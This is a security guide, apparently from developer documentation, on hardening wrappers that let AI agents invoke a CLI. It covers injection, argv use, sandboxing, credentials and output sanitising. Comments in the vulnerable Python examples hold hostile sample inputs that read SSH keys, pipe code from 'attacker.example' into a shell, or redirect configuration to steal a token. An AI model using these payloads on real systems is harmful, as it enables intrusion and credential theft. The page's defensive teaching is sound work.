Security

This content was generated with the assistance of AI and should be verified against the official documentation of each tool and framework before being relied on in production.

This section’s bibliography lists the reference material consulted while preparing these pages.

This page was written against Python 3.12, Node.js 24, Java 21, the MCP security best practices page, the Claude Code sandboxing documentation and the docsctl running example of this sub-section, as checked on 2026-09-30. The Python helper at the end of the output section was run against stub programs (a runaway producer, a hung process, escape sequences in output); the other fragments are illustrative, the safe Node.js and Java forms follow the listings of the wrapping pages, and the vulnerable forms were deliberately not run. Security guidance changes, and this page is a starting point and not an audit: re-check it against the linked sources and against your own threat model.

A command-line tool that an agent can run is an interpreter for text that somebody else chose. The model chose the arguments, and the model may have been steered by a web page, an issue, a document or a tool result it read (see MCP Security and Security of Customizations). Whoever wrote that text has whatever access the tool has. This page is the checklist for the code that sits between the model and the binary, whether that is an MCP wrapper (Wrapping a CLI as an MCP Server), an agent tool (Wrapping a CLI as an Agent Tool) or the CLI’s own argument handling.

flowchart LR Model["Model output, possibly steered by untrusted text"] --> Wrapper subgraph Sandbox["Sandbox: container, sandboxed Bash tool or restricted user"] Wrapper["Wrapper: allowlist, validate, build argv"] --> CLI["docsctl: parses options, honours --"] end CLI --> Service["Service: scoped, short-lived credential"] CLI --> Out["stdout and stderr: capped, sanitised, treated as data"] Out --> Model

Each box is a separate control, and none of them is enough alone: validation can be wrong, a parser can surprise you, a token can be broader than intended, a sandbox can be misconfigured. The sections below add them up.

Command and argument injection

Two different bugs share the name "injection", and a wrapper has to prevent both.

  • Command injection happens when a value ends up inside a string that a shell interprets, so that ;, |, &, $(…​), backticks, newlines or redirections run something else. The OWASP OS Command Injection Defense Cheat Sheet lists three defences: avoid OS commands where a library call will do, escape for the specific shell, or separate the command from its arguments with a structured API and validate each part. Only the first and the third scale; escaping is easy to get wrong.

  • Argument injection (CWE-88, "Improper Neutralization of Argument Delimiters in a Command") happens when there is no shell at all, but a value reaches the argument list where the program will read it as an option. The cheat sheet’s answer is the -- delimiter, which marks the end of options so that what follows is treated as operands, together with validation.

Both are easy to write by accident. This is the vulnerable version of a docsctl search wrapper next to the safe one, in Python.

Vulnerable: a shell string with a user value in it
import subprocess

def search(query: str) -> str:
    # query = 'x; cat ~/.ssh/id_rsa'  or  'x $(curl attacker.example | sh)'
    return subprocess.run(f"docsctl search --json {query}", shell=True,
                          capture_output=True, text=True).stdout
Vulnerable: no shell, but the value can still be an option
import subprocess

def search(query: str) -> str:
    # query = '--config=/tmp/attacker.toml' makes docsctl read attacker-controlled configuration,
    # for example a base_url that points at the attacker, and send DOCSCTL_TOKEN there
    return subprocess.run(["docsctl", "search", "--json", query],
                          capture_output=True, text=True).stdout
Safe: fixed program, argument list, validated values, -- before the operand
import subprocess

def search(query: str) -> str:
    if not 1 <= len(query) <= 200:
        raise ValueError("query must be 1-200 characters")
    argv = ["/usr/local/bin/docsctl", "search", "--json", "--no-input", "--", query]
    return subprocess.run(argv, shell=False, capture_output=True, text=True, timeout=25,
                          stdin=subprocess.DEVNULL, env={"PATH": "/usr/bin:/bin"}).stdout

The Node.js and Java equivalents follow the same pattern. The vulnerable forms are the ones that concatenate a string and hand it to a shell (exec in Node.js, sh -c in Java); the safe forms are execFile and a ProcessBuilder with a list.

Vulnerable and safe in Node.js
import { exec, execFile } from 'node:child_process';

// Vulnerable: the template string is parsed by /bin/sh
exec(`docsctl search --json ${query}`, (err, stdout) => { /* ... */ });

// Safe: no shell (shell defaults to false), an argument array, "--" before the operand
execFile('/usr/local/bin/docsctl', ['search', '--json', '--no-input', '--', query],
         { timeout: 25_000, maxBuffer: 256_000, env: { PATH: '/usr/bin:/bin' } },
         (err, stdout) => { /* ... */ });
Vulnerable and safe in Java
// Vulnerable: the whole string is parsed by sh
new ProcessBuilder("sh", "-c", "docsctl search --json " + query).start();

// Safe: each list element is exactly one argument; nothing is parsed
new ProcessBuilder(List.of("/usr/local/bin/docsctl", "search", "--json", "--no-input", "--", query)).start();

Node.js documents the risk of the shell option in its child_process reference, Python in the subprocess reference (shell=True and its security considerations), and Java in the ProcessBuilder reference.

The argv discipline

The rule is the same in every language: give the operating system an array of arguments, never a string to be parsed.

Table 1. Argument-list APIs and the shell-string APIs to avoid
Language Use Avoid with untrusted values

Python

subprocess.run([…​], shell=False)

shell=True, os.system, os.popen

Node.js

execFile, or spawn with shell left false

exec, or shell: true

Java

ProcessBuilder(List<String>) or new ProcessBuilder(a, b, c)

Runtime.exec(String) with a built string, sh -c plus concatenation

Go

exec.Command(name, arg…​)

exec.Command("sh", "-c", s)

Rust

Command::new(path).arg(a).args(b)

Command::new("sh").arg("-c") with a built string

.NET

ProcessStartInfo with ArgumentList

The single Arguments string with concatenated values

Swift

Process with executableURL and an arguments array

/bin/sh -c with a built string

The Go, Rust, .NET and Swift rows follow the standard libraries' documented behaviour and were not run for this page. A few consequences are worth spelling out:

  • No shell means no shell features. No globbing, no pipes, no ~ expansion, no environment-variable expansion in arguments. That is the point. If the wrapper needs a pipeline, it composes it in code.

  • Windows batch files are interpreted by cmd.exe. Node.js documents that execFile cannot launch .bat and .cmd files, and that launching them needs a shell. A wrapper that falls back to a shell to run a .cmd shim is back in command injection; ship a real executable.

  • One argument is one argument. "--component " + name is a string, and an argument list should hold "--component" and name as separate elements, so that a value with a space does not become two arguments.

The — separator, allowlists and dashes

The -- convention comes from POSIX utility syntax: an argument that is exactly -- ends the options, and everything after it is an operand (see CLI Design Fundamentals). Use it before every user-supplied operand, for every command that takes one. Then three more rules keep the rest of the command line honest.

  • Allowlist subcommands and flags. The wrapper’s code fixes which subcommand runs and which flags it may add. A tool argument never selects a subcommand or a flag name; the model picks values, the code picks options. This is what keeps --config, --confirm-token, --force and login out of reach.

  • Reject values that start with - wherever a value is not supposed to. A component name that starts with a dash is not a component name. The defence has two layers because -- works only if the program honours it and parses everything after it as operands: docsctl promises that, but check each CLI you wrap, and test it with a value such as --help. Values that are legitimately negative numbers should be parsed as numbers by the wrapper and rendered by the wrapper.

  • Check for other expansions the parser performs. Some frameworks expand argument files: picocli, for example, replaces an argument that begins with @ with the contents of that file unless CommandLine::setExpandAtFiles(false) is called, and its documentation does not say how that interacts with --. A CLI meant to be driven by agents should switch such features off, or the wrapper should reject values that begin with @. The picocli behaviour is documented at picocli.info.

Table 2. The wrapper’s validators for docsctl, one per parameter
Parameter Validation Why

query

Length 1 to 200. Any characters, but always placed after --.

Free text is the tool’s purpose; the delimiter is what makes it safe.

component, version

Full match of [A-Za-z0-9][A-Za-z0-9._-]{0,63}.

A plain name cannot start with -, contain a space, a slash or a shell metacharacter.

limit

Integer between 1 and 100, rendered by the wrapper.

A number is rendered from an integer, so no user text reaches the argument list.

page (for show)

Full match of ::[A-Za-z0-9._/-], with .. rejected.

The component::path form, without absolute paths or traversal.

path (for validate)

Resolve to a canonical path and require it to be inside a fixed workspace root.

Prevents .., absolute paths and symlinks that leave the workspace.

Use a full match, not a search: re.fullmatch in Python, an anchored pattern in JavaScript, Matcher.matches() in Java. OWASP’s guidance is positive validation, an allowlist of what is permitted with length limits, rather than a blocklist of dangerous characters.

Absolute paths and a minimal environment

Run the binary from an absolute path. A bare docsctl is resolved through PATH, which can contain the current directory or a directory an attacker can write to, and which may differ between the shell where you tested and the process that hosts the wrapper. Resolve the path once, at deployment, store it in the wrapper’s configuration (not in a tool argument), and check that neither the file nor its directory is writable by anyone you do not trust. Pin a checksum too (see Signed releases).

Give the child a minimal environment. A child inherits its parent’s environment by default, and both the parent’s secrets and the variables that change behaviour come along. For docsctl the dangerous ones are DOCSCTL_CONFIG, DOCSCTL_BASE_URL and DOCSCTL_TOKEN_FILE, which redirect it to different configuration and a different server; the dynamic linker’s own variables (LD_PRELOAD and friends) are the classic case for any binary. Build the environment from scratch, as the listings on the wrapping pages do: a fixed PATH, DOCSCTL_NO_INPUT=1, and only the credential the command needs. In Java, pb.environment().clear() first, because ProcessBuilder starts from a copy of the parent’s environment; in Node.js pass env, which otherwise defaults to process.env; in Python pass env=, which otherwise inherits.

Do not pass secrets in arguments. Command lines are visible to other users of the machine through the process table, and they end up in logs and in shell history. Use the environment variable, a token file with restrictive permissions or standard input (docsctl login --token-stdin), as discussed on Configuration & Auth.

Least-privilege credentials

The strongest control in this list is the one that does not depend on the wrapper being correct: a credential that cannot do the damage. If the agent’s token can only read documentation, no argument, injected or intended, can publish.

  • One identity per purpose. Give the agent a token of its own, not yours, so its actions are attributable and revocable without touching anyone else’s.

  • Scope it to what the wrapped commands need. search, show and list-components need read access. If publish is exposed at all, keep it in a separate wrapper with a separate token that is only issued to runs that a person started. MCP’s authorization guidance says the same about scopes (see MCP Authorization).

  • Short-lived where the service allows it, and stored where only the wrapper can read it: an environment variable set by the launcher, or a file readable only by the user that runs the wrapper.

  • Never place the token where the model can read it. Keep it out of tool arguments, tool results and error messages. Filtering is a backstop (see Output caps and sanitisation), not a plan.

  • Never pass a client’s credential through to the CLI’s service. An MCP server that accepts a token from its caller and forwards it downstream is the "token passthrough" anti-pattern that the MCP security page forbids.

Sandboxing

Assume some day the validation will have a hole, and limit what a compromised call can reach.

  • Containers. Run the wrapper and the CLI in a container with no more than they need: a non-root user, a read-only root filesystem, all capabilities dropped, no new privileges, memory and process limits, and no network unless the command needs it. Docker documents each of these flags in its docker container run reference; the image side is on Image Best Practices & Security.

  • The Claude Code sandbox. Claude Code’s sandboxed Bash tool enforces filesystem and network isolation at the operating-system level (Seatbelt on macOS, bubblewrap on Linux and WSL2) for every Bash command and its child processes, with allowed domains in sandbox.network.allowedDomains and writable paths in sandbox.filesystem.allowWrite. It applies to shell commands the agent runs directly, so it covers "Claude Code runs `docsctl`". It does not wrap an MCP server that Claude Code starts, which runs on the host unless the whole process is inside a container or virtual machine; a wrapper needs its own isolation. See Permissions & Settings and the sandboxing documentation.

  • Agent frameworks. LangChain’s DockerExecutionPolicy runs a shell tool in a separate container per agent run (see Wrapping a CLI as an Agent Tool).

Running the stdio wrapper in a locked-down container (Docker)
docker run --rm -i \
  --read-only --tmpfs /tmp \
  --cap-drop ALL --security-opt no-new-privileges \
  --pids-limit 64 --memory 256m \
  --user 10001:10001 \
  -e DOCSCTL_TOKEN \
  docsctl-mcp:0.1.0

-i keeps standard input open for the stdio transport, and -e DOCSCTL_TOKEN with no value copies the variable from the launching environment, so the token is not on the command line. The host’s MCP configuration then names docker as the command; see The MCP local server compromise guidance for why that entry deserves review.

Output caps and sanitisation

What the CLI prints is untrusted. It may be huge, it may contain terminal escape sequences, it may contain a secret the CLI was never meant to echo, and it may contain text written to steer the model. The MCP specification lists sanitising tool outputs among the things servers must do, and asks clients to validate results before they reach the model.

  • Cap the size, and cap it while reading. Reading everything and truncating afterwards bounds what you forward, not what you buffer. The helper below reads at most the cap plus one byte, and kills a process that keeps producing. Node.js maxBuffer and Java InputStream.readNBytes do the same job. Return a truncation marker or a hint to narrow the request, the pattern of Agent Ergonomics.

  • Kill the process group on timeout. A timeout that kills only the direct child leaves any grandchild holding the output pipe open, and the read then waits for it. The helper starts the child in its own session and kills the group (POSIX; Windows needs a job object).

  • Strip control characters. Terminal escape sequences in output can rewrite what a human sees in a log or a host UI. Remove ANSI escape sequences and control characters other than tab and newline.

  • Redact known secret shapes as a backstop, and never rely on it as the only control.

  • Treat the text as data. A page returned by docsctl show can contain sentences that look like instructions. No sanitiser can make that safe; the defences are structural: return JSON so content sits in string values, keep the tool’s authority small so an obeyed instruction cannot do much, and gate anything destructive with a person (see MCP Security on prompt injection through results, and Agent Guardrails & Safety).

safe_run.py — bounded read, process-group kill and sanitising
import os
import re
import signal
import subprocess
import threading

DOCSCTL = "/usr/local/bin/docsctl"
MAX_BYTES = 256_000
ANSI = re.compile(r"\x1b\[[0-?]*[ -/]*[@-~]|\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)")   # CSI and OSC escape sequences
CONTROL = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]")                          # control chars except \t and \n
TOKENISH = re.compile(r"\b(?:ghp|gho|ghs|github_pat)_[A-Za-z0-9_]{20,}\b")          # example redaction rule


def run_bounded(argv: list[str], timeout: float = 25.0) -> tuple[int, str, bool]:
    """Run argv with a timeout and read at most MAX_BYTES of stdout. Returns (exit code, text, truncated)."""
    proc = subprocess.Popen([DOCSCTL, *argv], shell=False, stdin=subprocess.DEVNULL,
                            stdout=subprocess.PIPE, stderr=subprocess.DEVNULL,
                            env={"PATH": "/usr/bin:/bin"},
                            start_new_session=True)     # own process group (POSIX), so grandchildren can be killed too

    def kill_group() -> None:
        try:
            os.killpg(proc.pid, signal.SIGKILL)
        except ProcessLookupError:
            pass

    timer = threading.Timer(timeout, kill_group)        # a hung child is killed, which ends the read
    timer.start()
    try:
        data = proc.stdout.read(MAX_BYTES + 1)          # never buffers more than the cap
        truncated = len(data) > MAX_BYTES
        if truncated:
            kill_group()                                # stop a runaway producer
        code = proc.wait()
    finally:
        timer.cancel()
        proc.stdout.close()
    return code, sanitize(data[:MAX_BYTES].decode("utf-8", errors="replace")), truncated


def sanitize(text: str) -> str:
    """Strip terminal escapes and control characters and redact token-shaped strings."""
    text = ANSI.sub("", text)
    text = CONTROL.sub("", text)
    return TOKENISH.sub("[REDACTED]", text)

Run against a stub that prints three megabytes, this returns 256,000 characters with truncated true; against one that sleeps for 30 seconds with a timeout of one second it returns after one second with the exit status -9; and sanitize("\x1b[31mred\x1b[0m") returns red.

Signed releases

The wrapper trusts a binary at an absolute path, so the binary’s provenance matters. Publish releases so that a user can check who built them and that they were not altered.

  • Checksums in a file published with the release, as a minimum, and pinned by the wrapper’s configuration or container image (a digest, not a tag).

  • Signatures. Sigstore’s cosign sign-blob signs a release file, and its documentation recommends a bundle (--bundle) so that the signature, certificate and transparency-log proof travel in one file. Keyless signing ties the signature to the CI workflow’s identity, and verification states which identity and issuer to accept.

  • Build attestations. GitHub’s artifact attestations record build provenance for a workflow’s output and are verified with gh attestation verify; the documentation describes SLSA v1.0 Build Level 2 for them and is explicit that an attestation is not a guarantee that the artifact is secure, only a verifiable link to its source and build.

Verifying a signed release before installing it (placeholders)
cosign verify-blob docsctl-0.1.0-linux-amd64.tar.gz \
  --bundle docsctl-0.1.0-linux-amd64.tar.gz.sigstore.json \
  --certificate-identity "https://github.com/OWNER/docsctl/.github/workflows/release.yml@refs/tags/v0.1.0" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com"

Package managers, checksums and installers are covered on Packaging & Distribution. The same care applies to what the wrapper pulls in: pin and audit its dependencies, and treat a change to the wrapper or its launch command as a change to code that runs with your privileges. References: Sigstore — Signing blobs and GitHub — Artifact attestations.

The MCP local server compromise guidance

A wrapper started by an MCP host over the stdio transport is what the MCP security best practices page calls a local MCP server: a program on the user’s machine, launched from a configuration entry, running with the user’s privileges. The page lists the routes to compromise (a malicious startup command in a client configuration, a malicious payload inside the server, and an insecure server left running on localhost that is reachable through DNS rebinding) and the risks (arbitrary code execution with the client’s privileges, no visibility for the user, obfuscated commands, data exfiltration and data loss). For wrapper authors and for the people who install them, the guidance translates into concrete habits:

  • The configuration entry is code. The command and args in an MCP configuration file are executed. Read them before you approve a server, and be wary of one-click installs that do not show the whole command. Clients are told to show the exact command without truncation and to require explicit consent.

  • Sandbox the server, with minimal default privileges over the filesystem, the network and other resources, and grant more only when needed (the container command above is one way).

  • Prefer stdio to a listening port. The page tells local servers to use the stdio transport to limit access to the client; if you must use HTTP, require an authorization token, or use a Unix domain socket or another restricted IPC mechanism.

  • Do not treat the wrapper as trusted because it is local. Its inputs come from a model and its outputs go to one.

The details, with worked examples, are on MCP Security (see its section on local server compromise and sandboxing) and on Connecting Hosts; the source is MCP — Security best practices.

Checklist

Table 3. Wrapper security checklist
Check Failure it prevents

An argument list is used everywhere; no shell, no sh -c, no string concatenation.

Command injection.

-- sits before every user-supplied operand, and values are validated by full match.

Argument injection.

The wrapper chooses subcommands and flags; values starting with - (and @, where the parser expands it) are rejected.

Reaching --config, --force, login or an argument-file expansion.

The binary is run from an absolute path that only trusted users can write.

PATH hijacking.

The environment is built from scratch; secrets are not in arguments.

Redirected configuration, leaked secrets, dynamic-linker tricks.

The credential is scoped, per-purpose and short-lived.

A successful injection turning into a successful attack.

A timeout kills the process group, and the output is read with a cap.

Hangs and memory exhaustion.

Output is stripped of control characters, redacted and treated as data.

Terminal escape tricks, secret leaks, prompt injection through results.

The wrapper runs in a container or another sandbox.

A missed hole becoming host compromise.

Releases are signed, the digest is pinned and the launch command is reviewed.

A tampered binary or configuration.

The checklist for the CLI itself, of which this table is the security part, is the Agent-Readiness Checklist.